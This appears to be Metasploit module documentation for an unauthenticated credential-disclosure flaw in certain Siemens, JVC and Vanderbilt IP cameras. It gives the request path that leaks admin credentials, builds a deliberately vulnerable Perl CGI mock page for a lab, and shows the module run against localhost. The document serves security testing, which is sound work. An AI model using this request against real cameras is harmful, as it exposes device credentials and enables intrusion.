Description

SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU), and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) allow an unauthenticated user to disclose the username & password by requesting the javascript page 'readfile.cgi?query=ADMINID'. Siemens firmwares affected: x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235

Vulnerable Application

This module has been verified against the mock vulnerable page listed below.

Mock Vulnerable Page

These instructions will create a cgi environment and a vulnerable perl application for exploitation. Kali rolling (2019.1) was utilized for this tutorial, with apache.

Setup

1. Enable cgi: a2enmod cgid

2. mkdir /var/www/html/cgi-bin

3. Enable folder for cgi execution: add ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/" to /etc/apache2/sites-enabled/000-default.conf inside of the VirtualHost tags

4. Create the vulnerable page by writing the following text to /var/www/html/cgi-bin/readfile.cgi:

#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
print $query->header( -type=> "text/javascript"),
$query->import_names( 'Q' );
my $data = <<'DATA';
var Adm_ID="admin";
var Adm_Pass1="password";
var Language="en";
var Logoff_Time="0";
DATA
if ($Q::query == "ADMINID") {
  print $data;
}

Verification Steps

1. Start msfconsole

2. use auxiliary/gather/ipcamera_password_disclosure

3. set rhosts [rhosts]

4. run

Scenarios

Against the Mock page listed above

msf5 > use auxiliary/gather/ipcamera_password_disclosure 
msf5 auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(gather/ipcamera_password_disclosure) > run

[+] Found: admin:password
